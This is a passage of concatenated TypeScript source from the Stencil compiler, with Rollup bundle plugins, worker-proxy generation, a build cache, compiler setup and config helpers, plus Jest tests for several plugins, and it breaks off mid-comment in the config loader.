fromMsg = ` from ${relative(config.rootDir, importer)}`; } const diagnostic = buildError(builtCtx.diagnostics); diagnostic.header = `Node Polyfills Required`; diagnostic.messageText = `For the import "${importee}" to be bundled${fromMsg}, ensure the "rollup-plugin-node-polyfills" plugin is installed and added to the stencil config plugins (${platform}). Please see the bundling docs for more information. Further information: https://stenciljs.com/docs/module-bundling`; } return null; }, }; }; const builtIns = new Set([ 'child_process', 'cluster', 'dgram', 'dns', 'module', 'net', 'readline', 'repl', 'tls', 'assert', 'console', 'constants', 'domain', 'events', 'path', 'punycode', 'querystring', '_stream_duplex', '_stream_passthrough', '_stream_readable', '_stream_writable', '_stream_transform', 'string_decoder', 'sys', 'tty', 'crypto', 'fs', 'Buffer', 'buffer', 'global', 'http', 'https', 'os', 'process', 'stream', 'timers', 'url', 'util', 'vm', 'zlib', ]); ================================================ FILE: src/compiler/bundle/server-plugin.ts ================================================ import { isOutputTargetHydrate, isString, normalizeFsPath } from '@utils'; import { isAbsolute } from 'path'; import type { Plugin } from 'rollup'; import type * as d from '../../declarations'; import type { BundlePlatform } from './bundle-interface'; export const serverPlugin = (config: d.ValidatedConfig, platform: BundlePlatform): Plugin => { const isHydrateBundle = platform === 'hydrate'; const serverVarid = `@removed-server-code`; const isServerOnlyModule = (id: string) => { if (isString(id)) { id = normalizeFsPath(id); return id.includes('.server/') || id.endsWith('.server'); } return false; }; const externals = isHydrateBundle ? config.outputTargets.filter(isOutputTargetHydrate).flatMap((o) => o.external) : []; return { name: 'serverPlugin', resolveId(id, importer) { if (id === serverVarid) { return id; } if (isHydrateBundle) { if (externals.includes(id)) { // don't attempt to bundle node builtins for the hydrate bundle return { id, external: true, }; } if (isServerOnlyModule(importer) && !id.startsWith('.') && !isAbsolute(id)) { // do not bundle if the importer is a server-only module // and the module it is importing is a node module return { id, external: true, }; } } else { if (isServerOnlyModule(id)) { // any path that has .server in it shouldn't actually // be bundled in the web build, only the hydrate build return serverVarid; } } return null; }, load(id) { if (id === serverVarid) { return { code: 'export default {};', syntheticNamedExports: true, }; } return null; }, }; }; ================================================ FILE: src/compiler/bundle/test/app-data-plugin.spec.ts ================================================ import * as d from '@stencil/core/declarations'; import { mockValidatedConfig } from '@stencil/core/testing'; import MagicString from 'magic-string'; import { appendBuildConditionals } from '../app-data-plugin'; function setup() { const config = mockValidatedConfig(); const magicString = new MagicString(''); return { config, magicString }; } describe('app data plugin', () => { it('should include the fsNamespace in the appended BUILD constant', () => { const { config, magicString } = setup(); appendBuildConditionals(config, {}, magicString); expect(magicString.toString().includes(`export const BUILD = /* ${config.fsNamespace} */`)).toBe(true); }); it.each([true, false])('should include hydratedAttribute when %p', (hydratedAttribute) => { const conditionals: d.BuildConditionals = { hydratedAttribute, }; const { config, magicString } = setup(); appendBuildConditionals(config, conditionals, magicString); expect(magicString.toString().includes(`hydratedAttribute: ${String(hydratedAttribute)}`)).toBe(true); }); it.each([true, false])('should include hydratedClass when %p', (hydratedClass) => { const conditionals: d.BuildConditionals = { hydratedClass, }; const { config, magicString } = setup(); appendBuildConditionals(config, conditionals, magicString); expect(magicString.toString().includes(`hydratedClass: ${String(hydratedClass)}`)).toBe(true); }); it('should append hydratedSelectorName', () => { const conditionals: d.BuildConditionals = { hydratedSelectorName: 'boop', }; const { config, magicString } = setup(); appendBuildConditionals(config, conditionals, magicString); expect(magicString.toString().includes('hydratedSelectorName: "boop"')).toBe(true); }); }); ================================================ FILE: src/compiler/bundle/test/core-resolve-plugin.spec.ts ================================================ import { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing'; import { createSystem } from '../../../compiler/sys/stencil-sys'; import type * as d from '../../../declarations'; import { coreResolvePlugin, getHydratedFlagHead, getStencilInternalModule } from '../core-resolve-plugin'; import { APP_DATA_CONDITIONAL, STENCIL_JSX_RUNTIME_ID } from '../entry-alias-ids'; describe('core resolve plugin', () => { const config: d.ValidatedConfig = mockValidatedConfig({ rootDir: '/', sys: createSystem(), }); it('http localhost with port url path', () => { const compilerExe = 'http://localhost:3333/@stencil/core/compiler/stencil.js?v=1.2.3'; const internalModule = 'hydrate/index.js'; const m = getStencilInternalModule(config, compilerExe, internalModule); expect(m).toBe('/node_modules/@stencil/core/internal/hydrate/index.js'); }); it('node path', () => { const compilerExe = '/Users/me/node_modules/stencil/compiler/stencil.js'; const internalModule = 'client/index.js'; const m = getStencilInternalModule(config, compilerExe, internalModule); expect(m).toBe('/Users/me/node_modules/stencil/internal/client/index.js'); }); it('should not set initialValue', () => { const o = getHydratedFlagHead({ name: 'yup', selector: 'class', property: 'display', initialValue: null, hydratedValue: 'block', }); expect(o).toBe(`.yup{display:block}`); }); it('should not set hydratedValue', () => { const o = getHydratedFlagHead({ name: 'yup', selector: 'class', property: 'display', initialValue: 'none', hydratedValue: null, }); expect(o).toBe(`{display:none}`); }); it('should set class selector', () => { const o = getHydratedFlagHead({ name: 'yup', selector: 'class', property: 'display', initialValue: 'none', hydratedValue: 'block', }); expect(o).toBe(`{display:none}.yup{display:block}`); }); it('should set attribute selector', () => { const o = getHydratedFlagHead({ name: 'yup', selector: 'attribute', property: 'display', initialValue: 'none', hydratedValue: 'block', }); expect(o).toBe(`{display:none}[yup]{display:block}`); }); describe('jsx-runtime resolution', () => { it('should resolve jsx-runtime to same path as @stencil/core for lazy builds', () => { const compilerCtx = mockCompilerCtx(config); const plugin = coreResolvePlugin(config, compilerCtx, 'client', false, true); const resolved = (plugin.resolveId as Function)(STENCIL_JSX_RUNTIME_ID); expect(resolved).toContain('internal/client/index.js'); expect(resolved).toContain(APP_DATA_CONDITIONAL); }); }); }); ================================================ FILE: src/compiler/bundle/test/ext-transforms-plugin.spec.ts ================================================ import { mockBuildCtx, mockCompilerCtx, mockModule, mockValidatedConfig } from '@stencil/core/testing'; import { normalizePath } from '@utils'; import * as importPathLib from '../../transformers/stencil-import-path'; import { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub'; import { BundleOptions } from '../bundle-interface'; import { extTransformsPlugin } from '../ext-transforms-plugin'; describe('extTransformsPlugin', () => { function setup(bundleOptsOverrides: Partial = {}) { const config = mockValidatedConfig({ plugins: [], outputTargets: [ { type: 'dist-collection', dir: 'dist/', collectionDir: 'dist/collectionDir', }, ], srcDir: '/some/stubbed/path', }); const compilerCtx = mockCompilerCtx(config); const buildCtx = mockBuildCtx(config, compilerCtx); const compilerComponentMeta = stubComponentCompilerMeta({ tagName: 'my-component', componentClassName: 'MyComponent', }); buildCtx.components = [compilerComponentMeta]; compilerCtx.moduleMap.set( compilerComponentMeta.sourceFilePath, mockModule({ cmps: [compilerComponentMeta], }), ); const bundleOpts: BundleOptions = { id: 'test-bundle', platform: 'client', inputs: {}, ...bundleOptsOverrides, }; const cssText = ':host { text: pink; }'; // mock out the read for our CSS jest.spyOn(compilerCtx.fs, 'readFile').mockResolvedValue(cssText); // mock out compilerCtx.worker.transformCssToEsm because 1) we want to // test what arguments are passed to it and 2) calling it un-mocked causes // the infamous autoprefixer-spew-issue :( const transformCssToEsmSpy = jest.spyOn(compilerCtx.worker, 'transformCssToEsm').mockResolvedValue({ styleText: cssText, output: cssText, map: null, diagnostics: [], imports: [], defaultVarName: 'foo', styleDocs: [], }); const writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile'); return { plugin: extTransformsPlugin(config, compilerCtx, buildCtx), config, compilerCtx, buildCtx, bundleOpts, writeFileSpy, transformCssToEsmSpy, cssText, }; } describe('transform function', () => { it('should set name', () => { expect(setup().plugin.name).toBe('extTransformsPlugin'); }); it('should return early if no data can be gleaned from the id', async () => { const { plugin } = setup(); // @ts-ignore we're testing something which shouldn't normally happen, // but might if an argument of the wrong type were passed as `id` const parseSpy = jest.spyOn(importPathLib, 'parseImportPath').mockReturnValue({ data: null }); // @ts-ignore the Rollup plugins expect to be called in a Rollup context expect(await plugin.transform('asdf', 'foo.css')).toBe(null); parseSpy.mockRestore(); }); it('should write CSS files if associated with a tag', async () => { const { plugin, writeFileSpy } = setup(); // @ts-ignore the Rollup plugins expect to be called in a Rollup context await plugin.transform('asdf', '/some/stubbed/path/foo.css?tag=my-component'); const [path, css] = writeFileSpy.mock.calls[0]; expect(normalizePath(path)).toBe('./dist/collectionDir/foo.css'); expect(css).toBe(':host { text: pink; }'); }); }); }); ================================================ FILE: src/compiler/bundle/typescript-plugin.ts ================================================ import { isDtsFile, isString, normalizeFsPath } from '@utils'; import { basename, isAbsolute } from 'path'; import type { LoadResult, Plugin, TransformResult } from 'rollup'; import ts from 'typescript'; import type * as d from '../../declarations'; import { tsResolveModuleName } from '../sys/typescript/typescript-resolve-module'; import { getModule } from '../transpile/transpiled-module'; import type { BundleOptions } from './bundle-interface'; /** * Rollup plugin that aids in resolving the TypeScript files and performing the transpilation step. * @param compilerCtx the current compiler context * @param bundleOpts Rollup bundling options to apply during TypeScript compilation * @param config the Stencil configuration for the project * @returns the rollup plugin for handling TypeScript files. */ export const typescriptPlugin = ( compilerCtx: d.CompilerCtx, bundleOpts: BundleOptions, config: d.ValidatedConfig, ): Plugin => { return { name: `${bundleOpts.id}TypescriptPlugin`, /** * A rollup build hook for loading TypeScript files and their associated source maps (if they exist). * [Source](https://rollupjs.org/guide/en/#load) * @param id the path of the file to load * @returns the module matched (with its sourcemap if it exists), null otherwise */ load(id: string): LoadResult { if (isAbsolute(id)) { const fsFilePath = normalizeFsPath(id); const module = getModule(compilerCtx, fsFilePath); if (module) { if (!module.sourceMapFileText) { return { code: module.staticSourceFileText, map: null }; } const sourceMap: d.SourceMap = JSON.parse(module.sourceMapFileText); sourceMap.sources = sourceMap.sources.map((src) => basename(src)); return { code: module.staticSourceFileText, map: sourceMap }; } } return null; }, /** * Performs TypeScript compilation/transpilation, including applying any transformations against the Abstract Syntax * Tree (AST) specific to stencil * @param _code the code to modify, unused * @param id module's identifier * @returns the transpiled code, with its associated sourcemap. null otherwise */ transform(_code: string, id: string): TransformResult { if (isAbsolute(id)) { const fsFilePath = normalizeFsPath(id); const mod = getModule(compilerCtx, fsFilePath); if (mod?.cmps) { const tsResult = ts.transpileModule(mod.staticSourceFileText, { compilerOptions: config.tsCompilerOptions, fileName: mod.sourceFilePath, transformers: { before: bundleOpts.customBeforeTransformers ?? [], }, }); const sourceMap: d.SourceMap = tsResult.sourceMapText ? JSON.parse(tsResult.sourceMapText) : null; return { code: tsResult.outputText, map: sourceMap }; } } return null; }, }; }; export const resolveIdWithTypeScript = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx): Plugin => { return { name: `resolveIdWithTypeScript`, async resolveId(importee, importer) { if (/\0/.test(importee) || !isString(importer)) { return null; } const tsResolved = tsResolveModuleName(config, compilerCtx, importee, importer); if (tsResolved && tsResolved.resolvedModule) { // this is probably a .d.ts file for whatever reason in how TS resolves this // use this resolved file as the "importer" const tsResolvedPath = tsResolved.resolvedModule.resolvedFileName; if (isString(tsResolvedPath) && !isDtsFile(tsResolvedPath)) { return tsResolvedPath; } } return null; }, }; }; ================================================ FILE: src/compiler/bundle/user-index-plugin.ts ================================================ import { join } from '@utils'; import type { Plugin } from 'rollup'; import type * as d from '../../declarations'; import { USER_INDEX_ENTRY_ID } from './entry-alias-ids'; export const userIndexPlugin = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx): Plugin => { return { name: 'userIndexPlugin', async resolveId(importee) { if (importee === USER_INDEX_ENTRY_ID) { const usersIndexJsPath = join(config.srcDir, 'index.ts'); const hasUserIndex = await compilerCtx.fs.access(usersIndexJsPath); if (hasUserIndex) { return usersIndexJsPath; } return importee; } return null; }, async load(id) { if (id === USER_INDEX_ENTRY_ID) { return `//! Autogenerated index`; } return null; }, }; }; ================================================ FILE: src/compiler/bundle/worker-plugin.ts ================================================ import { generatePreamble, hasError, normalizeFsPath } from '@utils'; import type { Plugin, PluginContext, TransformResult } from 'rollup'; import type * as d from '../../declarations'; import type { BundlePlatform } from './bundle-interface'; import { optimizeModule } from '../optimize/optimize-module'; import { bundleOutput } from './bundle-output'; import { STENCIL_INTERNAL_ID } from './entry-alias-ids'; export const workerPlugin = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, platform: BundlePlatform, inlineWorkers: boolean, ): Plugin => { if (platform === 'worker' || platform === 'hydrate') { return { name: 'workerPlugin', transform(_, id) { if (id.endsWith('?worker') || id.endsWith('?worker-inline')) { return getMockedWorkerMain(); } return null; }, }; } const workersMap = new Map(); return { name: 'workerPlugin', buildStart() { workersMap.clear(); }, resolveId(id) { if (id === WORKER_HELPER_ID) { return { id, moduleSideEffects: false, }; } return null; }, load(id) { if (id === WORKER_HELPER_ID) { return WORKER_HELPERS; } return null; }, async transform(_, id): Promise { if (/\0/.test(id)) { return null; } // Canonical worker path if (id.endsWith('?worker')) { const workerEntryPath = normalizeFsPath(id); const workerName = getWorkerName(workerEntryPath); const { code, dependencies, workerMsgId } = await getWorker( config, compilerCtx, buildCtx, this, workersMap, workerEntryPath, ); const referenceId = this.emitFile({ type: 'asset', source: code, name: workerName + '.js', }); dependencies.forEach((id) => this.addWatchFile(id)); return { code: getWorkerMain(referenceId, workerName, workerMsgId), moduleSideEffects: false, }; } else if (id.endsWith('?worker-inline')) { const workerEntryPath = normalizeFsPath(id); const workerName = getWorkerName(workerEntryPath); const { code, dependencies, workerMsgId } = await getWorker( config, compilerCtx, buildCtx, this, workersMap, workerEntryPath, ); const referenceId = this.emitFile({ type: 'asset', source: code, name: workerName + '.js', }); dependencies.forEach((id) => this.addWatchFile(id)); return { code: getInlineWorker(referenceId, workerName, workerMsgId), moduleSideEffects: false, }; } // Proxy worker path const workerEntryPath = getWorkerEntryPath(id); if (workerEntryPath != null) { const worker = await getWorker(config, compilerCtx, buildCtx, this, workersMap, workerEntryPath); if (worker) { if (inlineWorkers) { return { code: getInlineWorkerProxy(workerEntryPath, worker.workerMsgId, worker.exports), moduleSideEffects: false, }; } else { return { code: getWorkerProxy(workerEntryPath, worker.exports), moduleSideEffects: false, }; } } } return null; }, }; }; const getWorkerEntryPath = (id: string) => { if (WORKER_SUFFIX.some((p) => id.endsWith(p))) { return normalizeFsPath(id); } return null; }; interface WorkerMeta { code: string; workerMsgId: string; exports: string[]; dependencies: string[]; } const getWorker = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ctx: PluginContext, workersMap: Map, workerEntryPath: string, ): Promise => { let worker = workersMap.get(workerEntryPath); if (!worker) { worker = await buildWorker(config, compilerCtx, buildCtx, ctx, workerEntryPath); workersMap.set(workerEntryPath, worker); } return worker; }; const getWorkerName = (id: string) => { const parts = id.split('/').filter((i) => !i.includes('index')); id = parts[parts.length - 1]; return id.replace('.tsx', '').replace('.ts', ''); }; const buildWorker = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ctx: PluginContext, workerEntryPath: string, ) => { const workerName = getWorkerName(workerEntryPath); const workerMsgId = `stencil.${workerName}`; const build = await bundleOutput(config, compilerCtx, buildCtx, { platform: 'worker', id: workerName, inputs: { [workerName]: workerEntryPath, }, inlineDynamicImports: true, }); if (build) { // Generate commonjs output so we can intercept exports at runtime const output = await build.generate({ format: 'commonjs', banner: `${generatePreamble(config)}\n(()=>{\n`, footer: '})();', intro: getWorkerIntro(workerMsgId, config.devMode), esModule: false, externalLiveBindings: false, }); const entryPoint = output.output[0]; if (entryPoint.imports.length > 0) { ctx.error('Workers should not have any external imports: ' + JSON.stringify(entryPoint.imports)); } // Optimize code let code = entryPoint.code; const results = await optimizeModule(config, compilerCtx, { input: code, sourceTarget: config.buildEs5 ? 'es5' : 'es2017', isCore: false, minify: config.minifyJs, inlineHelpers: true, }); buildCtx.diagnostics.push(...results.diagnostics); if (!hasError(results.diagnostics)) { code = results.output; } return { code, exports: entryPoint.exports, workerMsgId, dependencies: Object.keys(entryPoint.modules).filter((id) => !/\0/.test(id) && id !== workerEntryPath), }; } return null; }; const WORKER_SUFFIX = ['.worker.ts', '.worker.tsx', '.worker/index.ts', '.worker/index.tsx']; const WORKER_HELPER_ID = '@worker-helper'; const GET_TRANSFERABLES = ` const isInstanceOf = (value, className) => { const C = globalThis[className]; return C != null && value instanceof C; } const getTransferables = (value) => { if (value != null) { if ( isInstanceOf(value, "ArrayBuffer") || isInstanceOf(value, "MessagePort") || isInstanceOf(value, "ImageBitmap") || isInstanceOf(value, "OffscreenCanvas") ) { return [value]; } if (typeof value === "object") { if (value.constructor === Object) { value = Object.values(value); } if (Array.isArray(value)) { return value.flatMap(getTransferables); } return getTransferables(value.buffer); } } return []; };`; const getWorkerIntro = (workerMsgId: string, isDev: boolean) => ` ${GET_TRANSFERABLES} const exports = {}; const workerMsgId = '${workerMsgId}'; const workerMsgCallbackId = workerMsgId + '.cb'; addEventListener('message', async ({data}) => { if (data && data[0] === workerMsgId) { let id = data[1]; let method = data[2]; let args = data[3]; let i = 0; let argsLen = args.length; let value; let err; try { for (; i < argsLen; i++) { if (Array.isArray(args[i]) && args[i][0] === workerMsgCallbackId) { const callbackId = args[i][1]; args[i] = (...cbArgs) => { postMessage( [workerMsgCallbackId, callbackId, cbArgs] ); }; } } ${ isDev ? ` value = exports[method](...args); if (!value || !value.then) { throw new Error('The exported method "' + method + '" does not return a Promise, make sure it is an "async" function'); } value = await value; ` : ` value = await exports[method](...args);` } } catch (e) { value = null; if (e instanceof Error) { err = { isError: true, value: { message: e.message, name: e.name, stack: e.stack, } }; } else { err = { isError: false, value: e }; } value = undefined; } const transferables = getTransferables(value); ${isDev ? `if (transferables.length > 0) console.debug('Transfering', transferables);` : ''} postMessage( [workerMsgId, id, value, err], transferables ); } }); `; export const WORKER_HELPERS = ` import { consoleError } from '${STENCIL_INTERNAL_ID}'; ${GET_TRANSFERABLES} let pendingIds = 0; let callbackIds = 0; const pending = new Map(); const callbacks = new Map(); export const createWorker = (workerPath, workerName, workerMsgId) => { const worker = new Worker(workerPath, {name:workerName}); worker.addEventListener('message', ({data}) => { if (data) { const workerMsg = data[0]; const id = data[1]; const value = data[2]; if (workerMsg === workerMsgId) { const err = data[3]; const [resolve, reject, callbackIds] = pending.get(id); pending.delete(id); if (err) { const errObj = (err.isError) ? Object.assign(new Error(err.value.message), err.value) : err.value; consoleError(errObj); reject(errObj); } else { if (callbackIds) { callbackIds.forEach(id => callbacks.delete(id)); } resolve(value); } } else if (workerMsg === workerMsgId + '.cb') { try { callbacks.get(id)(...value); } catch (e) { consoleError(e); } } } }); return worker; }; export const createWorkerProxy = (worker, workerMsgId, exportedMethod) => ( (...args) => new Promise((resolve, reject) => { let pendingId = pendingIds++; let i = 0; let argLen = args.length; let mainData = [resolve, reject]; pending.set(pendingId, mainData); for (; i < argLen; i++) { if (typeof args[i] === 'function') { const callbackId = callbackIds++; callbacks.set(callbackId, args[i]); args[i] = [workerMsgId + '.cb', callbackId]; (mainData[2] = mainData[2] || []).push(callbackId); } } const postMessage = (w) => ( w.postMessage( [workerMsgId, pendingId, exportedMethod, args], getTransferables(args) ) ); if (worker.then) { worker.then(postMessage); } else { postMessage(worker); } }) ); `; const getWorkerMain = (referenceId: string, workerName: string, workerMsgId: string) => { return ` import { createWorker } from '${WORKER_HELPER_ID}'; export const workerName = '${workerName}'; export const workerMsgId = '${workerMsgId}'; export const workerPath = /*@__PURE__*/import.meta.ROLLUP_FILE_URL_${referenceId}; export const worker = /*@__PURE__*/createWorker(workerPath, workerName, workerMsgId); `; }; const getInlineWorker = (referenceId: string, workerName: string, workerMsgId: string) => { return ` import { createWorker } from '${WORKER_HELPER_ID}'; export const workerName = '${workerName}'; export const workerMsgId = '${workerMsgId}'; export const workerPath = /*@__PURE__*/import.meta.ROLLUP_FILE_URL_${referenceId}; export let worker; try { // first try directly starting the worker with the URL worker = /*@__PURE__*/createWorker(workerPath, workerName, workerMsgId); } catch(e) { // probably a cross-origin issue, try using a Blob instead const blob = new Blob(['importScripts("' + workerPath + '")'], { type: 'text/javascript' }); const url = URL.createObjectURL(blob); worker = /*@__PURE__*/createWorker(url, workerName, workerMsgId); URL.revokeObjectURL(url); } `; }; const getMockedWorkerMain = () => { // for the hydrate build the workers won't actually work // however, we still need to make the {worker} export // kick-in otherwise bundling chokes return ` export const workerName = 'mocked-worker'; export const workerMsgId = workerName; export const workerPath = workerName; export const worker = { name: workerName }; `; }; const getWorkerProxy = (workerEntryPath: string, exportedMethods: string[]) => { return ` import { createWorkerProxy } from '${WORKER_HELPER_ID}'; import { worker, workerName, workerMsgId } from '${workerEntryPath}?worker'; ${exportedMethods .map((exportedMethod) => { return `export const ${exportedMethod} = /*@__PURE__*/createWorkerProxy(worker, workerMsgId, '${exportedMethod}');`; }) .join('\n')} `; }; const getInlineWorkerProxy = (workerEntryPath: string, workerMsgId: string, exportedMethods: string[]) => { return ` import { createWorkerProxy } from '${WORKER_HELPER_ID}'; const workerPromise = import('${workerEntryPath}?worker-inline').then(m => m.worker); ${exportedMethods .map((exportedMethod) => { return `export const ${exportedMethod} = /*@__PURE__*/createWorkerProxy(workerPromise, '${workerMsgId}', '${exportedMethod}');`; }) .join('\n')} `; }; ================================================ FILE: src/compiler/cache.ts ================================================ import { join } from '@utils'; import type * as d from '../declarations'; import { InMemoryFileSystem } from './sys/in-memory-fs'; export class Cache implements d.Cache { private failed = 0; private skip = false; private sys: d.CompilerSystem; private logger: d.Logger; private buildCacheDir: string; constructor( private config: d.ValidatedConfig, private cacheFs: InMemoryFileSystem, ) { this.sys = config.sys; this.logger = config.logger; } async initCacheDir() { if (this.config._isTesting || !this.config.cacheDir) { return; } this.buildCacheDir = join(this.config.cacheDir, '.build'); if (!this.config.enableCache || !this.cacheFs) { this.config.logger.info(`cache optimizations disabled`); this.clearDiskCache(); return; } this.config.logger.debug(`cache enabled, cacheDir: ${this.buildCacheDir}`); try { const readmeFilePath = join(this.buildCacheDir, '_README.log'); await this.cacheFs.writeFile(readmeFilePath, CACHE_DIR_README); } catch (e) { this.logger.error(`Cache, initCacheDir: ${e}`); this.config.enableCache = false; } } async get(key: string) { if (!this.config.enableCache || this.skip) { return null; } if (this.failed >= MAX_FAILED) { if (!this.skip) { this.skip = true; this.logger.debug(`cache had ${this.failed} failed ops, skip disk ops for remainder of build`); } return null; } let result: string | null; try { result = await this.cacheFs.readFile(this.getCacheFilePath(key)); this.failed = 0; this.skip = false; } catch (e: unknown) { this.failed++; result = null; } return result; } async put(key: string, value: string) { if (!this.config.enableCache) { return false; } try { await this.cacheFs.writeFile(this.getCacheFilePath(key), value); return true; } catch (e: unknown) { this.failed++; return false; } } async has(key: string) { const val = await this.get(key); return typeof val === 'string'; } async createKey(domain: string, ...args: any[]) { if (!this.config.enableCache || !this.sys.generateContentHash) { return domain + Math.random() * 9999999; } const hash = await this.sys.generateContentHash(JSON.stringify(args), 32); return domain + '_' + hash; } async commit() { if (this.config.enableCache) { this.skip = false; this.failed = 0; await this.cacheFs.commit(); await this.clearExpiredCache(); } } clear() { if (this.cacheFs != null) { this.cacheFs.clearCache(); } } async clearExpiredCache() { if (this.cacheFs == null || this.sys.cacheStorage == null) { return; } const now = Date.now(); const lastClear = (await this.sys.cacheStorage.get(EXP_STORAGE_KEY)) as number; if (lastClear != null) { const diff = now - lastClear; if (diff < ONE_DAY) { return; } const fs = this.cacheFs.sys; const cachedFileNames = await fs.readDir(this.buildCacheDir); const cachedFilePaths = cachedFileNames.map((f) => join(this.buildCacheDir, f)); let totalCleared = 0; const promises = cachedFilePaths.map(async (filePath) => { const stat = await fs.stat(filePath); const lastModified = stat.mtimeMs; if (lastModified && now - lastModified > ONE_WEEK) { await fs.removeFile(filePath); totalCleared++; } }); await Promise.all(promises); this.logger.debug(`clearExpiredCache, cachedFileNames: ${cachedFileNames.length}, totalCleared: ${totalCleared}`); } this.logger.debug(`clearExpiredCache, set last clear`); await this.sys.cacheStorage.set(EXP_STORAGE_KEY, now); } async clearDiskCache() { if (this.cacheFs != null) { const hasAccess = await this.cacheFs.access(this.buildCacheDir); if (hasAccess) { await this.cacheFs.remove(this.buildCacheDir); await this.cacheFs.commit(); } } } private getCacheFilePath(key: string): string { return join(this.buildCacheDir, key) + '.log'; } getMemoryStats(): string | null { if (this.cacheFs != null) { return this.cacheFs.getMemoryStats(); } return null; } } const MAX_FAILED = 100; const ONE_DAY = 1000 * 60 * 60 * 24; const ONE_WEEK = ONE_DAY * 7; const EXP_STORAGE_KEY = `last_clear_expired_cache`; const CACHE_DIR_README = `# Stencil Cache Directory This directory contains files which the compiler has cached for faster builds. To disable caching, please set "enableCache: false" within the stencil config. To change the cache directory, please update the "cacheDir" property within the stencil config. `; ================================================ FILE: src/compiler/compiler.ts ================================================ import { isFunction } from '@utils'; import ts from 'typescript'; import type { Compiler, Config, Diagnostic, ValidatedConfig } from '../declarations'; import { CompilerContext } from './build/compiler-ctx'; import { createFullBuild } from './build/full-build'; import { createWatchBuild } from './build/watch-build'; import { Cache } from './cache'; import { getConfig } from './sys/config'; import { createInMemoryFs } from './sys/in-memory-fs'; import { resolveModuleIdAsync } from './sys/resolve/resolve-module-async'; import { patchTypescript } from './sys/typescript/typescript-sys'; import { createSysWorker } from './sys/worker/sys-worker'; /** * Generate a Stencil compiler instance * @param userConfig a user-provided Stencil configuration to apply to the compiler instance * @returns a new instance of a Stencil compiler * @public */ export const createCompiler = async (userConfig: Config): Promise => { // actual compiler code const config: ValidatedConfig = getConfig(userConfig); const diagnostics: Diagnostic[] = []; const sys = config.sys; const compilerCtx = new CompilerContext(); if (isFunction(config.sys.setupCompiler)) { config.sys.setupCompiler({ ts }); } compilerCtx.fs = createInMemoryFs(sys); compilerCtx.cache = new Cache(config, createInMemoryFs(sys)); await compilerCtx.cache.initCacheDir(); sys.resolveModuleId = (opts) => resolveModuleIdAsync(sys, compilerCtx.fs, opts); compilerCtx.worker = createSysWorker(config); if (sys.events) { // Pipe events from sys.events to compilerCtx sys.events.on(compilerCtx.events.emit); } patchTypescript(config, compilerCtx.fs); const build = () => createFullBuild(config, compilerCtx); const createWatcher = () => createWatchBuild(config, compilerCtx); const destroy = async () => { compilerCtx.reset(); compilerCtx.events.unsubscribeAll(); await sys.destroy(); }; const compiler: Compiler = { build, createWatcher, destroy, sys, }; config.logger.printDiagnostics(diagnostics); return compiler; }; ================================================ FILE: src/compiler/config/config-utils.ts ================================================ import { isBoolean, join } from '@utils'; import { isAbsolute } from 'path'; import type { ConfigFlags } from '../../cli/config-flags'; import type * as d from '../../declarations'; export const getAbsolutePath = (config: d.ValidatedConfig, dir: string) => { if (!isAbsolute(dir)) { dir = join(config.rootDir, dir); } return dir; }; /** * This function does two things: * * 1. If you pass a `flagName`, it will hoist that `flagName` out of the * `ConfigFlags` object and onto the 'root' level (if you will) of the * `config` under the `configName` (`keyof d.Config`) that you pass. * 2. If you _don't_ pass a `flagName` it will just set the value you supply * on the config. * * @param config the config that we want to update * @param configName the key we're setting on the config * @param flagName either the name of a ConfigFlag prop we want to hoist up or null * @param defaultValue the default value we should set! */ export const setBooleanConfig = ( config: d.UnvalidatedConfig, configName: (K & keyof ConfigFlags) | K, flagName: keyof ConfigFlags | null, defaultValue: d.Config[K], ) => { if (flagName) { const flagValue = config.flags?.[flagName]; if (isBoolean(flagValue)) { config[configName] = flagValue; } } const userConfigName = getUserConfigName(config, configName); if (typeof config[userConfigName] === 'function') { config[userConfigName] = !!config[userConfigName](); } if (isBoolean(config[userConfigName])) { config[configName] = config[userConfigName]; } else { config[configName] = defaultValue; } }; /** * Find any possibly mis-capitalized configuration names on the config, logging * and warning if one is found. * * @param config the user-supplied config that we're dealing with * @param correctConfigName the configuration name that we're checking for right now * @returns a string container a mis-capitalized config name found on the * config object, if any. */ const getUserConfigName = (config: d.UnvalidatedConfig, correctConfigName: keyof d.Config): string => { const userConfigNames = Object.keys(config); for (const userConfigName of userConfigNames) { if (userConfigName.toLowerCase() === correctConfigName.toLowerCase()) { if (userConfigName !== correctConfigName) { config.logger?.warn(`config "${userConfigName}" should be "${correctConfigName}"`); return userConfigName; } break; } } return correctConfigName; }; ================================================ FILE: src/compiler/config/constants.ts ================================================ import type * as d from '../../declarations'; type DefaultTargetComponentConfig = d.Config['docs']['markdown']['targetComponent']; export const DEFAULT_DEV_MODE = false; export const DEFAULT_HASHED_FILENAME_LENGTH = 8; export const MIN_HASHED_FILENAME_LENGTH = 4; export const MAX_HASHED_FILENAME_LENGTH = 32; export const DEFAULT_NAMESPACE = 'App'; export const DEFAULT_TARGET_COMPONENT_STYLES: DefaultTargetComponentConfig = { background: '#f9f', textColor: '#333', }; ================================================ FILE: src/compiler/config/load-config.ts ================================================ import { createNodeSys } from '@sys-api-node'; import { buildError, catchError, hasError, isString, normalizePath } from '@utils'; import { dirname } from 'path'; import type { Diagnostic, LoadConfigInit, LoadConfigResults, UnvalidatedConfig } from '../../declarations'; import { nodeRequire } from '../sys/node-require'; import { validateTsConfig } from '../sys/typescript/typescript-config'; import { validateConfig } from './validate-config'; /** * Load and validate a configuration to use throughout the lifetime of any Stencil task (build, test, etc.). * * Users can provide configurations multiple ways simultaneously: * - as an object of the `init` argument to this function * - through a path to a configuration file that exists on disk * * In the case of both being present, the two configurations will be merged. The fields of the former will take precedence * over the fields of the latter. * * @param init the initial configuration provided by the user (or generated by Stencil) used to bootstrap configuration * loading and validation * @returns the results of loading a configuration * @public */ export const loadConfig = async (init: LoadConfigInit = {}): Promise => { const results: LoadConfigResults = { config: null, diagnostics: [], tsconfig: { path: null, compilerOptions: null, files: null, include: null, exclude: null, extends: null, }, }; const unknownConfig: UnvalidatedConfig = {}; try { const config = init.config || {}; let configPath = init.configPath || config.configPath; // Pull the {@link CompilerSystem} out of the initialization object, or create one if it does not exist. // This entity is needed to load the project's configuration (and 